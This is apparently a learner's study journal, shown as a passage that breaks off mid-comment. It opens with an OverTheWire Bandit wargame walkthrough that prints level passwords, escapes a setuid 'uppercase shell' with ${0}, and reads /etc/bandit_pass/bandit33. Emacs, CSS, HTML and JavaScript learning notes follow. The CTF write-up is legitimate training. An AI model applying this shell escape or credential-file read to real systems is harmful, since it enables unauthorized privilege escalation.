Clone the repository and find the password for the next level. Commands you may need to solve this level
git
export BANDIT=bandit31-git
export URL=${BANDIT}@bandit.labs.overthewire.org
export PORT=2220
export REMOTE_FOLDER=/home/${BANDIT}/repo
export REMOTE_REPO=ssh://$URL:$PORT$REMOTE_FOLDER
export LOCAL_FOLDER=$HOME/hack/overthewire.org/${BANDIT}-repo-mirror
export REPO=$LOCAL_FOLDER
export GIT_FLAGS="--mirror"
echo git clone $GIT_FLAGS $REMOTE_REPO $REPOPASSWORD=fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy
URL=bandit.labs.overthewire.org
PORT=2220
BANDIT=bandit31
echo sshpass -p ${PASSWORD} ssh $URL -p $PORT -l $BANDITbandit31@bandit:~$ ll
total 24
drwxr-xr-x 2 root root 4096 Aug 15 13:16 ./
drwxr-xr-x 150 root root 4096 Aug 15 13:18 ../
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3851 Aug 15 13:09 .bashrc
-rwxr-xr-x 1 root root 59 Aug 15 13:16 .gitconfig*
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
bandit31@bandit:~$ cat .gitconfig
[user]
email = bandit31@overthewire.org
name = bandit31
git ls-remote(base) rafa@bach:~/hack/overthewire.org/bandit31-git-repo-mirror$ git ls-remote --heads --tags --refs --symref
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit31-git@bandit.labs.overthewire.org's password:
From ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo
508f78be4568c9cf050249a441800ad36c1fe5bd refs/heads/master
2 files changed, 8 insertions(+) .gitignore | 1 + README.md | 7 +++++++ new file .gitignore @@ -0,0 +1 @@ +*.txt new file README.md @@ -0,0 +1,7 @@ +This time your task is to push a file to the remote repository. + +Details: + File name: key.txt + Content: 'May I come in?' + Branch: master +
I want to
- Modify .gitignore and remove
*.txt
Clone without mirror.
export BANDIT=bandit31-git
export URL=${BANDIT}@bandit.labs.overthewire.org
export PORT=2220
export REMOTE_FOLDER=/home/${BANDIT}/repo
export REMOTE_REPO=ssh://$URL:$PORT$REMOTE_FOLDER
export LOCAL_FOLDER=$HOME/hack/overthewire.org/${BANDIT}-repo
export REPO=$LOCAL_FOLDER
echo git clone $GIT_FLAGS $REMOTE_REPO $REPOI need to add the user info I found on 31’s home folder .gitconfig: Add it to the repo’s .git/config file.
[user]
email = bandit31@overthewire.org
name = bandit31 1 git … push -v origin master\:refs/heads/master
Pushing to ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit31-git@bandit.labs.overthewire.org's password:
Writing objects: 100% (3/3), 301 bytes | 301.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
To ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo'
>>>> ! [remote rejected] master -> master (pre-receive hook declined)
What hook is that?
Is it in the folder hooks?
Only sample hooks there.
Is there something on the server?
- I looked
fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy
1 git … push -v origin master\:refs/heads/master
Pushing to ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
_ _ _ _
| |__ __ _ _ __ __| (_) |_
| '_ \ / _` | '_ \ / _` | | __|
| |_) | (_| | | | | (_| | | |_
|_.__/ \__,_|_| |_|\__,_|_|\__|
This is an OverTheWire game server.
More information on http://www.overthewire.org/wargames
backend: gibson-1
bandit31-git@bandit.labs.overthewire.org's password:
Writing objects: 100% (4/4), 361 bytes | 361.00 KiB/s, done.
Total 4 (delta 0), reused 0 (delta 0), pack-reused 0
remote: ### Attempting to validate files... ####
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
remote: Well done! Here is the password for the next level:
remote: 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
remote:
remote: .oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.oOo.
remote:
To ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo
! [remote rejected] master -> master (pre-receive hook declined)
error: failed to push some refs to 'ssh://bandit.labs.overthewire.org:2220/home/bandit31-git/repo'
3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
Level Goal
After all this git stuff, it’s time for another escape. Good luck! Commands you may need to solve this level
sh, man
PASSWORD=3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K
URL=bandit.labs.overthewire.org
PORT=2220
BANDIT=bandit32
echo sshpass -p ${PASSWORD} ssh $URL -p $PORT -l $BANDIT| Key | Result |
|---|---|
| C-D | quit |
| C-Z | no echo, but do not quit |
>> a sh: 1: A: Permission denied >> \ >> $ sh: 1: $: Permission denied >> >> ! sh: 2: Syntax error: newline unexpected >> ! sh: 2: Syntax error: newline unexpected >> " sh: 2: Syntax error: Unterminated quoted string >> "bash" sh: 1: BASH: Permission denied
bandit31@bandit:/home/bandit32$ ll
total 36
drwxr-xr-x 2 root root 4096 Aug 15 13:16 ./
drwxr-xr-x 150 root root 4096 Aug 15 13:18 ../
-rw-r--r-- 1 root root 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 root root 3851 Aug 15 13:09 .bashrc
-rw-r--r-- 1 root root 807 Mar 31 2024 .profile
-rwsr-x--- 1 bandit33 bandit32 15140 Aug 15 13:16 uppershell*
^^^^^^^^
It was executing the expansions.
It executed that, giving me an instance of sh.
WELCOME TO THE UPPERCASE SHELL
>> ${$}
sh: 1: 625083: Permission denied
>> ${0}
$ cat /etc/bandit_pass/bandit33
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0
At this moment, level 34 does not exist yet.
Today I used a good part of the sunny Sunday to do something I have been wanting to do for years: reset Org Mode font colors; it is too colorful! I get distracted just by looking at the screen, and trying to figure out the rules for the colors, and the semantics, etc; not very focus-inducing!
This is the result.
This has some face-related functions and settings, including the configuration of the default face for Emacs.
<<define the functions>>
<<reset the faces>>
(face-set-after-frame-default (selected-frame))Reset face: all settings to default.
<<reset the faces>> +≡
(face-reset 'default)Go nuclear: Reset all Org faces.
<<reset the faces>> +≡
<<push all known Org faces into a list>>
<<reset all Org faces from that list>><<push all known Org faces into a list>> +≡
;; Collect all org faces
(setq org-faces (seq-filter
(lambda (face)
(string-prefix-p "org-" (symbol-name face)))
(face-list)))<<reset all Org faces from that list>> +≡
(face-reset-list org-faces)<<define the functions>> +≡
<<define a function to reset a face>>
<<define a function to reset a list of faces>><<define a function to reset a face>> +≡
(defun face-reset (face)
"Sets FACE attributes to absolute and average values."
(interactive)
(set-face-attribute
face
<<FRAME>>
<<&rest ARGS>>))We set it to t, this way new frames honor it.
If FRAME is a frame, set the FACE’s attributes only for that frame. If FRAME is nil, set attribute values for all existing frames, as well as the default for new frames. If FRAME is t, change the default values of attributes for new frames.
<<FRAME>> +≡
t<<&rest ARGS>> +≡
:family "Lat15Fixed16"
:foundry "PfEd"Note that for the ‘default’ face, you must specify an absolute height (since there is nothing for it to be relative to).
This height was being used before I started working. I am not sure what it means, or how it is calculated.
<<&rest ARGS>> +≡
:width 'normal
:height 128<<&rest ARGS>> +≡
:weight 'medium
:slant 'normal<<&rest ARGS>> +≡
:foreground "dark gray"
:background "black"<<&rest ARGS>> +≡
:underline nil
:overline nil
:strike-through nil
:box nil<<&rest ARGS>> +≡
:inverse-video nil<<&rest ARGS>> +≡
:stipple nil<<&rest ARGS>> +≡
:extend nilDon’t see the need for this.
<<&rest ARGS>> +≡
:inherit nil<<define a function to reset a list of faces>> +≡
(defun face-reset-list (face-list)
"Apply function `face-reset' to a list of faces."
(interactive)
;; Lists of faces usually are automatically obtained by taking all symbols
;; from a context with "face" in their names. But surprisingly this is not an
;; infallible approach. Then we ignore any errors here. This is not bad,
;; because we only ignore---and do not-reset---the ones that are _not_ faces.
(ignore-errors
(dolist (face face-list)
(face-reset face))))Productive day. But only because learned about my limitations while struggling to get results. Learned a lot!
Well, I’m pursuing some CTF goals. Totally derailed. But, I am investigating my core reasons to program. The burn out happened because of lack of this.
Nice.
Now that I had a taste of the “ground truth” (official specs), I feel more confident about navigating the uncertainties and vagueness of the world. Also, Wikipedia has a lot of good resources on alternatives to The Box Model… I probably need to improve my Google-fu.
I feel that I tend to underestimate CSS. I’ve been thinking about this. Webdev is HTML, CSS, and JS. Instinctively, I think: JS is harder than HTML, that is harder than CSS. But this is not the case—at least for me. CSS has lots of intellectual demands:
- The official docs are declarative: they don’t teach how to implement, but what they want as a result (from the browser implementers).
This removes a lot of pressure that is usually present when defining a language (like JS and even HTML).
The documentation is more vague, there are lots of exceptions.
And what trips me up the most is the terminology.
It all started in CSS1 with
- For the background:
background-color - For the foreground:
color(!)
- For the background:
This list goes on and on. I belive it stems from the fact that the people involved with the development of CSS have a different mindset than what I’m used to when dealing with tech specs. And this is probably good, because they are also developing an aspect that is normally difficult for programmers: make things look good. And I’ve seen what CSS can do, and it’s great. Also, I’ve seen the latest developments in layout—this is what made me go to the specs, I couldn’t believe The Box Model could be a thing they would settle on—and thank God they didn’t! During this journey I learned a lot about realistic expectations on webdev and stuff—including my own capabilities and limits. The most important thing was to see that when I go slowly on a CSS exercise things tend to flow better, and quicker. My initial impulse is to underestimate and get frustrated with the delay, lack of info… when I could just stop, take a deep breath, and dedicate some time to think.
Another curious development: my inner artist is coming out, sniffing the territory, and I catch myself sometimes thinking about ideas for websites. This is cool!
See how things evolved is good when there is so much confusion in the terminology.
The margin collapse from the Box Model makes sense for typography, not graphics layout. It was introduced at a time where you maybe would add a picture to a page; a time where the page was thought as a book or newspaper page (but without ads, comic strips or other elements demanding a more sophisticated and precise layout engine).
It was also the first major attempt at adding styles to a page. Style at that time was mainly choosing the text font, and color; background color or image. And back then, many users had only access to text terminals, so the important part of the page for them was mainly the text, and its structure.
I keep going back and forth from the specs to ChatGPT. ChatGPT is great to teach me about the historical context. It also makes great parallels with newer versions, points out things that have changed over time. And it agrees with me about the quirks—but also often gives plausible motivations at the time for the quirks.
I just found out that modern alternatives like Flex and Grid do not collapse margins. Thank God for them. But this is not screamed all over the web tutorials as I believe it should be. Advices like:
Avoid using the box model for layout, use the flex model instead.
Just finished reading it. Very nice. Lots of quirks.
The one thing I really think would be useful is: when setting a property valeu, being able to reference the current value. For instance: If I want to make the first letter of a paragraph twice as big, I could say something like:
p::first-letter {
font-size: calc(current * 2); /* or '2*' */
}Or if I wanted it to be 10 pixels bigger:
p::first-letter {
font-size: calc(current + 10px);
}It mentions “webmasters” LOL.
Starts talking about JavaScript.
The first one just appeared: The Box Model. I’ll try and be systematic here.
Reading CSS Standar Box Model. https://www.w3.org/TR/css-box-3/
Again, much better. Tutorials and books are hesitant about terminology and analogies. Better go to the source.
First small joy: yes, everything in CSS is either a box or a text sequence. CSS has its own tree, the box tree, derived from the DOM.
pages/css2.1-margins-padding-border.html ≡
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
<HTML>
<HEAD>
<TITLE>Examples of margins, padding, and borders</TITLE>
<STYLE type="text/css">
</STYLE>
<link rel="stylesheet" href="css2.1-margins-padding-border-experiments.css">
</HEAD>
<BODY>
<div class="ul">
<UL>
<div class="li">
<LI >First element of list
</div>
<div class="li">
<LI class="withborder">Second element of list is a bit longer to illustrate wrapping.
</div>
</UL>
<p class="undecided-p">Is this a paragraph or a list item?</p>
</div>
</BODY>
</HTML>Very enlightening. Using ChatGPT to answer questions; usualy involve historical quirks.
Today I really spent most of the time on the specs. I also did lots of free explorations on the Dev Tools in Firefox, with the help of ChatGPT. I’m counting those as coding; all in all, I feel today’s work granted me that.
Started reding the theory for The Box Model.
Went do MDN and ChatGPT for clarifications.
Downloading some CSS books for reference.
Just read some chapters of some CSS books. Nice to see they have much more structure than several online resources—editorial pressure, probably.
Now, I need to practice.
Today I studied too much, didn’t go busking, and didn’t properly rest.
I’ll work on my 1h coding now, and then rest.
I’ll experiment with LP. Two code blocks: HTML and JS.
First we tangle.
~/dev/js-ChatGPT/2025-10-06.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JS with ChatGPT</title>
</head>
<body>
<dl>
<<html>>
</dl>
<script>
<<js>>
</script>
</body>
</html>Now the task:
Minute 40–50: Keyboard events
- Add a <p> that shows which key the user presses (keydown event).
Learn: event.key.
<<html>> +≡
<dt>Keyboard Events</dt>
<dd><p id="pKeyPress"></p></dd>event.key
Need to add an event listener.
Will add it to window.
<<js>> +≡
const pKeyPress = document.getElementById("pKeyPress");
window.addEventListener("keydown", (e) => {
pKeyPress.textContent = e.key;
})Minute 50–60: Mini-project — Guess the Number
- Build a simple game:
Generate a random number between 1 and 10.
Add an <input> and a button.
User guesses the number. Show “Too high”, “Too low”, or “Correct!”. Learn: combining input, random, conditionals, and DOM updates.
Add the controls.
Will use a dl.
<<html>> +≡
<dt>Guess the number</dt>
<dd>Enter a number between 1 and 10</dd>
<dd><input id="inputGuessNumber" type="text"><button id="buttonGuessNumber">Go!</button></dd>
<dd>Result:</dd>
<dd id="ddGuessNumberResult"></dd>Create a function to choose a random number between 1 and 10.
<<js>> +≡
<<allow user to press Enter instead of clicking the button>>
let number = Math.floor(Math.random() * 10) + 1;
const ddGuessNumberResult = document.getElementById("ddGuessNumberResult");
document.getElementById("buttonGuessNumber")
.addEventListener("click", () => {
let guess = Number(document.getElementById("inputGuessNumber").value);
if (guess < number) {
ddGuessNumberResult.textContent = "Too low";
} else {
if (guess > number) {
ddGuessNumberResult.textContent = "Too High";
} else {
ddGuessNumberResult.textContent = "Correct!";
}
}
});Going over the curriculum again, this time specifically to know which projects it has.
Thematic changes.
The Standard says section and hr have some “equivalences”—let’s experiment with them.
~/dev/webdev-study/pages/hr.html ≡
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><hr></title>
</head>
<body>
<p>Aliquam erat volutpat. Nunc eleifend leo vitae magna. In id erat non orci commodo lobortis. Proin neque massa, cursus ut, gravida ut, lobortis eget, lacus. Sed diam. Praesent fermentum tempor tellus. Nullam tempus. Mauris ac felis vel velit tristique imperdiet. Donec at pede. Etiam vel neque nec dui dignissim bibendum. Vivamus id enim. Phasellus neque orci, porta a, aliquet quis, semper a, massa. Phasellus purus. Pellentesque tristique imperdiet tortor. Nam euismod tellus id erat.</p>
<p>Nullam eu ante vel est convallis dignissim. Fusce suscipit, wisi nec facilisis facilisis, est dui fermentum leo, quis tempor ligula erat quis odio. Nunc porta vulputate tellus. Nunc rutrum turpis sed pede. Sed bibendum. Aliquam posuere. Nunc aliquet, augue nec adipiscing interdum, lacus tellus malesuada massa, quis varius mi purus non odio. Pellentesque condimentum, magna ut suscipit hendrerit, ipsum augue ornare nulla, non luctus diam neque sit amet urna. Curabitur vulputate vestibulum lorem. Fusce sagittis, libero non molestie mollis, magna orci ultrices dolor, at vulputate neque nulla lacinia eros. Sed id ligula quis est convallis tempor. Curabitur lacinia pulvinar nibh. Nam a sapien.</p>
<hr>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec hendrerit tempor tellus. Donec pretium posuere tellus. Proin quam nisl, tincidunt et, mattis eget, convallis nec, purus. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla posuere. Donec vitae dolor. Nullam tristique diam non turpis. Cras placerat accumsan nulla. Nullam rutrum. Nam vestibulum accumsan nisl.</p>
<hr>
<section>
<p>Aliquam erat volutpat. Nunc eleifend leo vitae magna. In id erat non orci commodo lobortis. Proin neque massa, cursus ut, gravida ut, lobortis eget, lacus. Sed diam. Praesent fermentum tempor tellus. Nullam tempus. Mauris ac felis vel velit tristique imperdiet. Donec at pede. Etiam vel neque nec dui dignissim bibendum. Vivamus id enim. Phasellus neque orci, porta a, aliquet quis, semper a, massa. Phasellus purus. Pellentesque tristique imperdiet tortor. Nam euismod tellus id erat.</p>
<p>Nullam eu ante vel est convallis dignissim. Fusce suscipit, wisi nec facilisis facilisis, est dui fermentum leo, quis tempor ligula erat quis odio. Nunc porta vulputate tellus. Nunc rutrum turpis sed pede. Sed bibendum. Aliquam posuere. Nunc aliquet, augue nec adipiscing interdum, lacus tellus malesuada massa, quis varius mi purus non odio. Pellentesque condimentum, magna ut suscipit hendrerit, ipsum augue ornare nulla, non luctus diam neque sit amet urna. Curabitur vulputate vestibulum lorem. Fusce sagittis, libero non molestie mollis, magna orci ultrices dolor, at vulputate neque nulla lacinia eros. Sed id ligula quis est convallis tempor. Curabitur lacinia pulvinar nibh. Nam a sapien.</p>
</section>
<p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec hendrerit tempor tellus. Donec pretium posuere tellus. Proin quam nisl, tincidunt et, mattis eget, convallis nec, purus. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Nulla posuere. Donec vitae dolor. Nullam tristique diam non turpis. Cras placerat accumsan nulla. Nullam rutrum. Nam vestibulum accumsan nisl.</p>
</body>
</html>Visually, there’s no explicit “equivalence”; maybe we need some CSS for that.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><pre></title>
</head>
<body>
<h1>The <code><pre> element</code></h1>
<h2>Just <code><pre></code></h2>
<pre>
function greet(name) {
console.log(`Hello, ${name}`);
}
</pre>
<h2><code><pre><code><code><pre></code></h2>
<pre>
<code>
function greet(name) {
console.log(`Hello, ${name}`);
}
</code>
</pre>
</body>
</html>Both use monospaced fonts.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<pre><samp>You are in an open field west of a big white house with a boarded
front door.
There is a small mailbox here.
></samp> <kbd>open mailbox</kbd>
<samp>Opening the mailbox reveals:
A leaflet.
></samp></pre>
</body>
</html>Initial whitespace (“prefixing” w.) matters.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<blockquote>
<p>I contend that we are both atheists. I just believe in one fewer
god than you do. When you understand why you dismiss all the other
possible gods, you will understand why I dismiss yours.</p>
</blockquote>
<p>— Stephen Roberts</p>
<hr>
<figure>
<blockquote>
<p>The truth may be puzzling. It may take some work to grapple with.
It may be counterintuitive. It may contradict deeply held
prejudices. It may not be consonant with what we desperately want to
be true. But our preferences do not determine what's true. We have a
method, and that method helps us to reach not absolute truth, only
asymptotic approaches to the truth — never there, just closer
and closer, always finding vast new oceans of undiscovered
possibilities. Cleverly designed experiments are the key.</p>
</blockquote>
<figcaption>Carl Sagan, in "<cite>Wonder and Skepticism</cite>", from
the <cite>Skeptical Inquirer</cite> Volume 19, Issue 1 (January-February
1995)</figcaption>
</figure>
<hr/>
<article>
<h1><a href="https://bacon.example.com/?blog=109431">Bacon on a crowbar</a></h1>
<article>
<header><strong>t3yw</strong> 12 points 1 hour ago</header>
<p>I bet a narwhal would love that.</p>
<footer><a href="?pid=29578">permalink</a></footer>
<article>
<header><strong>greg</strong> 8 points 1 hour ago</header>
<blockquote><p>I bet a narwhal would love that.</p></blockquote>
<p>Dude narwhals don't eat bacon.</p>
<footer><a href="?pid=29579">permalink</a></footer>
<article>
<header><strong>t3yw</strong> 15 points 1 hour ago</header>
<blockquote>
<blockquote><p>I bet a narwhal would love that.</p></blockquote>
<p>Dude narwhals don't eat bacon.</p>
</blockquote>
<p>Next thing you'll be saying they don't get capes and wizard
hats either!</p>
<footer><a href="?pid=29580">permalink</a></footer>
<article>
<article>
<header><strong>boing</strong> -5 points 1 hour ago</header>
<p>narwhals are worse than ceiling cat</p>
<footer><a href="?pid=29581">permalink</a></footer>
</article>
</article>
</article>
</article>
<article>
<header><strong>fred</strong> 1 points 23 minutes ago</header>
<blockquote><p>I bet a narwhal would love that.</p></blockquote>
<p>I bet they'd love to peel a banana too.</p>
<footer><a href="?pid=29582">permalink</a></footer>
</article>
</article>
</article>
<hr>
<p>He began his list of "lessons" with the following:</p>
<blockquote>One should never assume that his side of
the issue will be recognized, let alone that it will
be conceded to have merits.</blockquote>
<p>He continued with a number of similar points, ending with:</p>
<blockquote>Finally, one should be prepared for the threat
of breakdown in negotiations at any given moment and not
be cowed by the possibility.</blockquote>
<p>We shall now discuss these points...</p>
</body>
</html><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ol</title>
</head>
<body>
<p>I have lived in the following countries (given in the order of when
I first lived there):</p>
<hr>
<ol>
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol start="-1">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol reversed>
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol reversed start="3">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol reversed start="2">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol type="I" start="-1">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol type="i" start="-1">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol type="A" start="-1">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
<hr>
<ol type="a" start="-1">
<li>Switzerland
<li>United Kingdom
<li>United States
<li>Norway
</ol>
</body>
</html><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>menu</title>
</head>
<body>
<menu>
<li><button onclick="copy()"><img src="copy.svg" alt="Copy"></button></li>
<li><button onclick="cut()"><img src="cut.svg" alt="Cut"></button></li>
<li><button onclick="paste()"><img src="paste.svg" alt="Paste"></button></li>
</menu>
</body>
</html><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>dl</title>
</head>
<body>
<dl>
<dt> Authors
<dd> John
<dd> Luke
<dt> Editor
<dd> Frank
</dl>
<hr>
<dl>
<div itemscope itemtype="http://schema.org/Product">
<dt itemprop="name">Café ou Chocolat Liégeois
<dd itemprop="offers" itemscope itemtype="http://schema.org/Offer">
<span itemprop="price">3.50</span>
<data itemprop="priceCurrency" value="EUR">€</data>
<dd itemprop="description">
2 boules Café ou Chocolat, 1 boule Vanille, sauce café ou chocolat, chantilly
</div>
<div itemscope itemtype="http://schema.org/Product">
<dt itemprop="name">Américaine
<dd itemprop="offers" itemscope itemtype="http://schema.org/Offer">
<span itemprop="price">3.50</span>
<data itemprop="priceCurrency" value="EUR">€</data>
<dd itemprop="description">
1 boule Crème brûlée, 1 boule Vanille, 1 boule Caramel, chantilly
</div>
</dl>
<hr>
<dl>
<dt><dfn>happiness</dfn></dt>
<dd class="pronunciation">/ˈhæpinəs/</dd>
<dd class="part-of-speech"><i><abbr>n.</abbr></i></dd>
<dd>The state of being happy.</dd>
<dd>Good fortune; success. <q>Oh <b>happiness</b>! It worked!</q></dd>
<dt><dfn>rejoice</dfn></dt>
<dd class="pronunciation">/rɪˈdʒɔɪs/</dd>
<dd><i class="part-of-speech"><abbr>v.intr.</abbr></i> To be delighted oneself.</dd>
<dd><i class="part-of-speech"><abbr>v.tr.</abbr></i> To cause one to be delighted.</dd>
</dl>
</body>
</html>Things with a caption.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>figure</title>
</head>
<body>
<p>In <a href="#l4">listing 4</a> we see the primary core interface
API declaration.</p>
<figure id="l4">
<figcaption>Listing 4. The primary core interface API declaration.</figcaption>
<pre><code>interface PrimaryCore {
boolean verifyDataLine();
undefined sendData(sequence<byte> data);
undefined initSelfDestruct();
}</code></pre>
</figure>
<p>The API is designed to use UTF-8.</p>
<hr/>
<figure>
<figcaption>The castle through the ages: 1423, 1858, and 1999 respectively.</figcaption>
<figure>
<figcaption>Etching. Anonymous, ca. 1423.</figcaption>
<img src="castle1423.jpeg" alt="The castle has one tower, and a tall wall around it.">
</figure>
<figure>
<figcaption>Oil-based paint on canvas. Maria Towle, 1858.</figcaption>
<img src="castle1858.jpeg" alt="The castle now has two towers and two walls.">
</figure>
<figure>
<figcaption>Film photograph. Peter Jankle, 1999.</figcaption>
<img src="castle1999.jpeg" alt="The castle lies in ruins, the original tower all that remains in one piece.">
</figure>
</figure>
<hr/>
<figure>
<img src="castle1423.jpeg" title="Etching. Anonymous, ca. 1423."
alt="The castle has one tower, and a tall wall around it.">
<img src="castle1858.jpeg" title="Oil-based paint on canvas. Maria Towle, 1858."
alt="The castle now has two towers and two walls.">
<img src="castle1999.jpeg" title="Film photograph. Peter Jankle, 1999."
alt="The castle lies in ruins, the original tower all that remains in one piece.">
<figcaption>The castle through the ages: 1423, 1858, and 1999 respectively.</figcaption>
</figure>
</body>
</html><!DOCTYPE html>
<html lang="en">
<title>RPG System 17</title>
<style>
header, nav, aside, main, footer {
margin: 0.5em; border: thin solid; padding: 0.5em;
background: #EFF; color: black; box-shadow: 0 0 0.25em #033;
}
h1, h2, p { margin: 0; }
nav, main { float: left; }
aside { float: right; }
footer { clear: both; }
</style>
<header>
<h1>System Eighteen</h1>
</header>
<nav>
<a href="../16/">← System 17</a>
<a href="../18/">RPXIX →</a>
</nav>
<aside>
<p>This system has no HP mechanic, so there's no healing.
</aside>
<main>
<h2>Character creation</h2>
<p>Attributes (magic, strength, agility) are purchased at the cost of one point per level.</p>
<h2>Rolls</h2>
<p>Each encounter, roll the dice for all your skills. If you roll more than the opponent, you win.</p>
</main>
<footer>
<p>Copyright © 2013
</footer>
</html><!doctype html>
<html lang=en-CA>
<meta charset=utf-8>
<title> … </title>
<link rel=stylesheet href=spa.css>
<script src=spa.js async></script>
<nav>
<a href=/>Home</a>
<a href=/about>About</a>
<a href=/contact>Contact</a>
</nav>
<main>
<h1>Home</h1>
…
</main>
<main hidden>
<h1>About</h1>
…
</main>
<main hidden>
<h1>Contact</h1>
…
</main>
<footer>Made with ❤️ by <a href=https://example.com/>Example 👻</a>.</footer>emis for emphasis- same voice, different tone
i: different voice
strongis for importanceb: keywords
For small print.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>small</title>
</head>
<body>
<p>Example Corp today announced record profits for the
second quarter <small>(Full Disclosure: Foo News is a subsidiary of
Example Corp)</small>, leading to speculation about a third quarter
merger with Demo Group.
</p>
<p><q>This is correct</q>, said Ian.</p>
</body>
</html><!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Worker example: One-core computation</title>
</head>
<body>
<p>The highest prime number discovered so far is: <output id="result"></output></p>
<script>
var worker = new Worker('./worker.js');
worker.onmessage = function (event) {
console.log('hehe');
document.getElementById('result').textContent = event.data;
};
</script>
</body>
</html>var n = 1;
search: while (true) {
n += 1;
for (var i = 2; i <= Math.sqrt(n); i += 1)
if (n % i == 0)
continue search;
// found a prime!
postMessage(n);
}Just finished reading the HTML Standard—skipping a lot of technical details. Very interesting. Funny to see the authors have a sense of humor :)
When I started reading, I wanted to
- Have a basic knowledge of all the elements
- This was accomplished, as the Standard lists them all, with all the details.
- Learn how to do responsive work with images
- This was advanced, but I need to practice.
- Learn about Web Workers (and Worklets)
- Idem.
After reading the Standard, I still need to practice that knowledge. I couldn’t memorize each and every detail, so I need to apply to learn. There are several good ways to learn, but I’ll stick to Odin for now— I’m invested.
Wow! Today another 1h of coding provided by our friend ChatGPT. This time I had a harder time keeping up! Couldn’t finish all the exercises in 1h. But learned a lot!
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>JS with ChatGPT</title>
<style>
.dark {
background-color: black;
color: white;
}
</style>
</head>
<body id="body">
<ul>
<li><button id="start">Start Timer</button></li>
<li><button id="stop">Stop Timer</button></li>
<li><p id="display">0</p></li>
<li><button id="buttonDarkMode">Toggle Dark Mode</button></li>
<li><button id="buttonRandomFruit">Random Fruit</button></li>
<li><p id="pRandomFruit"></p></li>
</ul>
<hr>
<ul id="tasksUl"></ul>
<script>
/* Minute 0–10: Timers
* 12. Add a button “Start Timer” and a <p> that starts counting up seconds when clicked.
* Bonus: add a “Stop Timer” button.
* Learn: setInterval, clearInterval. */
const display = document.getElementById("display");
function updateDisplay() {
display.textContent = Number(display.textContent) + 1;
}
const start = document.getElementById("start");
const stop = document.getElementById("stop");
let intervalID = 0;
start.addEventListener("click", () => {
if (!intervalID) {
intervalID = setInterval(updateDisplay, 1000);
}
});
stop.addEventListener("click", () => {
clearInterval(intervalID);
intervalID = 0;
});
/* Minute 10–20: Toggle behavior
* 13. Add a button “Toggle Dark Mode.”
* Clicking it should switch the page background to black and text to white, and back again.
* Learn: class toggling (element.classList.toggle). */
const body = document.getElementById("body");
document.getElementById("buttonDarkMode")
.addEventListener("click", () => {
body.classList.toggle("dark");
});
/* Minute 20–30: Random fun
* 14. Add a button “Random Fruit.”
* Reuse your fruits array. Each click should display one random fruit in a <p>.
* Learn: Math.floor(Math.random() * arr.length). */
function getRandomItem(arr) {
const i = Math.floor(Math.random() * arr.length);
return arr[i];
}
const fruits = ['apple', 'banana', 'pineapple', 'grapefruit', 'orange'];
document.getElementById("buttonRandomFruit")
.addEventListener("click", () => {
document.getElementById("pRandomFruit").textContent =
getRandomItem(fruits);
});
/* Minute 30–40: Arrays of objects
